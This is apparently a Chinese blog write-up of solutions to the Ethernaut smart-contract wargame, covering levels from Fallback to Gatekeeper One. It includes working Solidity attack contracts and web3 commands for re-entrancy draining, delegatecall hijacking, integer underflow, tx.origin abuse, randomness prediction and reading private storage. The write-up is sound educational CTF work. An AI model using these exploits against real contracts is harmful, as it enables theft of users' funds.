Ethernaut 靶场刷题(上)

前言

看了一下ctfwiki上的,前面的知识点看起来还算不那么费劲,但是突然就是学个几天就开始上手比赛题属实太难了。。。所以先从简单的区块链靶场刷起,循序渐进,慢慢学习区块链的相关知识。

靶场链接:
The Ethernaut

Hello Ethernaut

算是新手教程了,具体的前面的一些搭建,还有获取Rinkeby环境下的ETH的方式就不说了,靶场上也都说的比较清楚了。用help()可以得到一些常用的帮助,因为异步的问题,我们需要在函数前面加上await
contract可以查看合约对象:
Ethernaut 靶场刷题(上)_第1张图片

contract.abi可以查看合约的function:
Ethernaut 靶场刷题(上)_第2张图片
await contract.info()可以Look into the levels’s info method。
然后这一关就一步一步来就可以了,其实看了abi也就知道有哪些方法了:
Ethernaut 靶场刷题(上)_第3张图片
然后点submit即可。

Fallback

看一下代码:

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {
     

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
     
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
     
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
     
    require(msg.value < 0.001 ether);   //发送少于0.001 ether
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
        //基本不可能
      owner = msg.sender; 
    }
  }

  function getContribution() public view returns (uint) {
     
    return contributions[msg.sender];  //返回当前的contributions
  }

  function withdraw() public onlyOwner {
     
    owner.transfer(address(this).balance);
  }

  fallback() external payable {
     
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

题目要求:

  1. you claim ownership of the contract
  2. you reduce its balance to 0

想成为owner这里可以做到:

  fallback() external payable {
     
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

但是需要contributions[msg.sender] > 0,还需要先在这里给一次钱:

  function contribute() public payable {
     
    require(msg.value < 0.001 ether);   //发送少于0.001 ether
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
        //基本不可能
      owner = msg.sender; 
    }
  }

但是怎么就是调用函数的时候给钱我就不会看,看了一下师傅们是这样:

await contract.contribute({
     value: 1})
await contract.sendTransaction({
     value: 1})
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()

调用函数给钱是{value:1},直接给合约钱是sendTransaction

Fallout

相比前一题更简单了,要求:

Claim ownership of the contract below to complete this level.

因此直接用这个构造函数(其实并不是,注意合约叫Fallout,但是这个函数叫Fal1out)就可以了:

  /* constructor */
  function Fal1out() public payable {
     
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
await contract.Fal1out()

就算改名也不行,因为这题是在0.6.0,已经不支持和合约同名的构造函数了。

Coin Flip

源码:

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {
     

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
     
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
     
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
     
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
     
      consecutiveWins++;
      return true;
    } else {
     
      consecutiveWins = 0;
      return false;
    }
  }
}

要连续猜中10次,是随机数的问题了,隐约还记得区块链的随机数问题很大,查了一下,确实是区块链随机数的问题。
因为这里:uint256 blockValue = uint256(blockhash(block.number.sub(1)));,这个值是我们可以在本地算出来的,再加上FACTOR也是知道的,因此就可以直接攻击。

Ethernaut 靶场刷题(上)_第4张图片
还可以再学习一下区块链的一些知识,虽然只是稍微的了解:
区块链入门教程

写个攻击POC:

pragma solidity ^0.6.0;



interface CoinFlip {
     
  function flip(bool _guess) external returns (bool) ;
}

contract Attack {
     
    CoinFlip constant private target = CoinFlip(0x41b21013f1470Fcd1e08988ef87ed88aD38037a1);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function feng() public {
     
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;
        target.flip(side);
    }
}

只要能成功的发送10次feng()函数就可以了。因为在本地进行了预测。
但是其中可能会有失败的,主要还是因为:

    if (lastHash == blockValue) {
     
      revert();
    }

即一个区块只能成功一次,而:
Ethernaut 靶场刷题(上)_第5张图片
因此并不是那种10分钟才能弄一次。

Telephone

源码:

pragma solidity ^0.6.0;

contract Telephone {
     

  address public owner;

  constructor() public {
     
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
     
    if (tx.origin != msg.sender) {
     
      owner = _owner;
    }
  }
}

Claim ownership of the contract below to complete this level.即可通关。
看了一下,主要是考察tx.origin和msg.sender的区别
Ethernaut 靶场刷题(上)_第6张图片
ctfwiki上解释的就比较清楚:
Ethernaut 靶场刷题(上)_第7张图片
因此我们只需要部署一个合约,在合约中调用这个题目中的changeOwner,这样题目中的tx.origin是我们自己,而msg.sender是我们部署的那个合约。

pragma solidity ^0.6.0;

contract Telephone {
     

  address public owner;

  constructor() public {
     
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
     
    if (tx.origin != msg.sender) {
     
      owner = _owner;
    }
  }
}

contract Attack {
     
    Telephone constant private target = Telephone(0x6F28D4210D178F6B37bFBe8D1dD8b08402EaC12a);
    function hack() public {
     
        target.changeOwner(msg.sender);
    }
}

Token

pragma solidity ^0.6.0;

contract Token {
     

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
     
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
     
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
     
    return balances[_owner];
  }
}

挺简单的了,关注这里:require(balances[msg.sender] - _value >= 0);
因为balances[msg.sender]value都是uint,因此他们相减的结果一定仍然是uint(可能会存在下溢出),所以一定大于等于0
然后下面出现下溢出:balances[_to] += _value;,使得余额变得很多。
直接打就行了await contract.transfer("0xc6Ef69fBCEFc582E248b32fDB48f9BC685F6b1b1",21)
因此初始余额是20,所以减21。

Delegation

pragma solidity ^0.6.0;

contract Delegate {
     

  address public owner;

  constructor(address _owner) public {
     
    owner = _owner;
  }

  function pwn() public {
     
    owner = msg.sender;
  }
}

contract Delegation {
     

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
     
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
     
    (bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
    if (result) {
     
      this;
    }
  }
}

大致审一下,考察的应该是delegatecall的问题。

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。

因为执行环境会变成调用者的环境,这个调用者即是Delegation合约,因此虽然调用的是Delegate合约里的pwn函数,但是修改的并不是Delegate合约里的owner,而是Delegation里的owner。
知道了原理就相当于直接让delegatecall调用pwn函数就可以了,关键是msg.data怎么构造,我不知道用solidity在remix上应该怎么弄,也没查到。
WP是用的web3.js:

await contract.sendTransaction({
     data:0xdd365b8b});

至于这个函数前面的值,在本地算一下就可以了:

pragma solidity ^0.4.0;

contract B {
     
    bytes4 public result;
    function test() public  {
     
        result = bytes4(keccak256("pwn()"));
    }
}

太菜了主要还不太懂web3.js,看来剩下的题目要暂时咕几天,先去学习一下web3.js。

后来
发现了就是Remix上的这个功能:
在这里插入图片描述
把题目的代码复制上去,然后点At Address,就可以在Remix进行交互:
Ethernaut 靶场刷题(上)_第8张图片

但是这似乎还是没区别。注意下面的Low level interactions,之前一直都没用过。
参考文章:Low level interactions on Remix IDE
在这里插入图片描述
因此这里就相当于直接可以调用那个fallback函数,而且下面的框里面输入的就是calldata:
在这里插入图片描述
因此直接搞即可。但是后来发现失败了:
Ethernaut 靶场刷题(上)_第9张图片
还有个坑,就是gas限制的问题:
Ethernaut 靶场刷题(上)_第10张图片
29858太小了,虽然说是交易成功,但是要仔细看交易的Details才能知道是因为gas不够而失败了。日!突然发现之前好像就是因为这个坑卡了几个小时还没解决,之前的那些问题似乎都是因为gas这个限制太小了,所以我们给它稍微加大一点,就可以成功了。

Force

给了一个空的合约,要求:
The goal of this level is to make the balance of the contract greater than zero.

直接利用selfdestruct即可:
Ethernaut 靶场刷题(上)_第11张图片

因此强制转账:

pragma solidity ^0.6.0;

contract Feng {
     
    function attack(address _addr) payable public {
     
        selfdestruct(payable(_addr));
    }
}

记得调用attack的时候给合约转1 wei。

Vault

pragma solidity ^0.6.0;

contract Vault {
     
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
     
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
     
    if (password == _password) {
     
      locked = false;
    }
  }
}

考察的就是Solidity中变量的可见性问题了:
合约变量的「皇帝新衣」| 外部读取状态变量——漏洞分析连载之九期
虽然password设置成了private无法查看,但:

因为这个私有仅限于合约层面的私有,合约之外依然可以读取。

合约使用外界未知的私有变量。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值

说白了就是只要能计算出那个私有变量在storage中的位置,就直接调用Web3的api来获得那个变量值。
我不想用题目的环境直接打,尝试自己学一下web3.js,参考链接:
web3.js 教程
利用infura来访问节点,记得改一下ENDPOINTS。
看一下位置,bool占用slot0,因此password在slot1,直接获得即可:

const Web3 = require('web3');
const rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
const web3 = new Web3(rpcURL);


web3.eth.getStorageAt("0x40c4BfC852EdE4D3D05B0ed0886344864f4cB149", "1", function(x,y){
     console.info(y);})

得到0x412076657279207374726f6e67207365637265742070617373776f7264203a29,解码得到A very strong secret password :)
传过去即可解锁:
Ethernaut 靶场刷题(上)_第12张图片

It’s important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.
To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

King

看一下题目的要求:
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
意思是submit的时候环境会尝试取代你的king,如果题目没有成功的话你就赢了。
主要还是这里:

king.transfer(msg.value);

考察了一下transfer:
Ethernaut 靶场刷题(上)_第13张图片
如果transfer执行失败会进行回退,而call和send函数则不是,而是返回一个false,因此这就是为什么需要检查call和send的返回值的原因。
因此直接写个合约,在里面fallback抛出异常即可。

pragma solidity ^0.6.0;

contract Feng{
     
    address target = 0x20b5Ff3460aE2a6C7D8fdE858CD1C6e1311445D4;
    function attack() payable public {
     
        target.call{
     value : 1 ether}("");
    }
    fallback() external payable {
     
        require(false);
    }
}

Re-entrancy

重入攻击,具体的知识点不提了,遇到好几次了。
过关的条件一开始很迷,重入攻击构造出来了,还利用了下溢出,但是不知道该怎么过关。
The goal of this level is for you to steal all the funds from the contract.
其实就是合约的余额初始是 1ether,然后我们给他donate,它的余额还会增加,利用重入攻击把合约的钱都拿出来就行了:

pragma solidity ^0.6.0;

contract Feng {
     
    address target = 0x6f28304754abDd1c6511ed74d7E548fff87eFE9a;
    function hack() payable public {
     
        target.call{
     value:1 ether}(abi.encodeWithSignature("donate(address)",this));
        target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
        
    }
    fallback() payable external {
     
        target.call(abi.encodeWithSignature("withdraw(uint256)",1 ether));
    }
}

wait getBalance(contract.address)可以查看合约的余额。

Elevator

也很简单,让top为true即可。

    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
     
      floor = _floor;
      top = building.isLastFloor(floor);
    }

构造个Building合约,实现接口中的信息,然后让第一次调用isLastFloor返回false,第二次调用isLastFloor返回true即可:

pragma solidity ^0.6.0;


contract Building {
     
    address public target = 0x802450E17Ad3e0D1484bb8817EF76505FFB7FcB1;
    bool public flag = false;
    function isLastFloor(uint) external returns (bool){
     
        if(flag == false){
     
            flag = true;
            return false;
        }
        return true;
    }
    function attack() public {
     
        target.call(abi.encodeWithSignature("goTo(uint256)",1));
    }
}

Privacy

还是private的值不知道:

  bool public locked = true;   //0
  uint256 public ID = block.timestamp;   //1
  uint8 private flattening = 10;      //2
  uint8 private denomination = 255;     //2
  uint16 private awkwardness = uint16(now);     //2
  bytes32[3] private data;       // 3 4 5

算出data[2]在slot 5,然后还是web3.js直接getStorageAt就行了:

const Web3 = require('web3');
const rpcURL = "https://rinkeby.infura.io/v3/2ab0c9f096474b2a8b7b60a25ded6c21";
const web3 = new Web3(rpcURL);


const address = "0x6d94A5398Ea81aFb2C6961d1f45dfdC347b17996"

web3.eth.getStorageAt(address,"5",function(x,y){
     console.info(y);});
pragma solidity ^0.6.0;


contract Feng {
     
    address public target = 0x6d94A5398Ea81aFb2C6961d1f45dfdC347b17996;
    bytes32 public data = 0x6d95528ed3daa151fd935b44136df24bce871b1f40ccaced0e5f4b6d32777209;
    bytes16 public key = bytes16(data);
    function attack() public {
     
        target.call(abi.encodeWithSignature("unlock(bytes16)",key));
    }
}

Gatekeeper One

感觉很迷的一道题。

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {
     

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
     
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
     
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
     
    //22220  43321   21101
    //5020   26221
    //0x 00 00 00 11 00 00 3F B8
    //0x 00 00 00 00 00 00 12 12
    //0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8
    //0x 00 00 3F B8 uint16
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
     
    entrant = tx.origin;
    return true;
  }
}

三个modifier,第一个很好绕就不说了,第二个最后再说,先看第三个:

      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

考察了solidity的类型转换,相当于_gatekey的最后4个字节拿出来和最后2个字节拿出来是相等的,因此最后是00xx即可,第二个的话,就相当于最后8字节和最后4字节不一样,前4个字节改一下就好了。
最后一个require就是最后2字节和tx.origin是一样的即可。
因此我这构造是这样:0x0000001100003FB8,最后2个字节和我地址的最后2字节一样,3FB8。这样就绕过了。

接下来就是第二个modifier,要求gasleft().mod(8191) == 0:
在这里插入图片描述
相当于call传过去的gas,到第二个modifier剩余的gas,相当于要找到从call那里到这个require所花费的gas。属实不太会。。
看了WP,师傅们是在本地调。换到Javascript VM,起2个合约:
Ethernaut 靶场刷题(上)_第14张图片

Feng合约调用一下attack()函数,然后debug一下:
在这里插入图片描述
Ethernaut 靶场刷题(上)_第15张图片
还是太菜了,看不懂那些指令,看师傅们都是在DUP2那里停的,左下角有个remaining gas:
81874
81910+215-81874就是前面所花费的gas了。我这里是251,题目的环境也应该是0.6.0版本,不知道为什么师傅们都在0.4版本调,调出来是215,而且确实是对的。。。我也不想换版本了,就大范围的跑一下循环叭:

pragma solidity ^0.6.0;
contract Feng {
     
    bytes8 public gatekey = 0x0000001100003FB8;
    address public target = 0xe9B1A344a91c338dA1873A7698cf3a30572EAb4e;
    function attack() public {
     
        for(uint i = 150;i <=300 ;i ++){
     
            target.call{
     gas:81910+i}(abi.encodeWithSignature("enter(bytes8)",gatekey));
        }
    }
}

也能跑成功,那些操作码等学会了再来看看。

你可能感兴趣的:(区块链,区块链,solidity)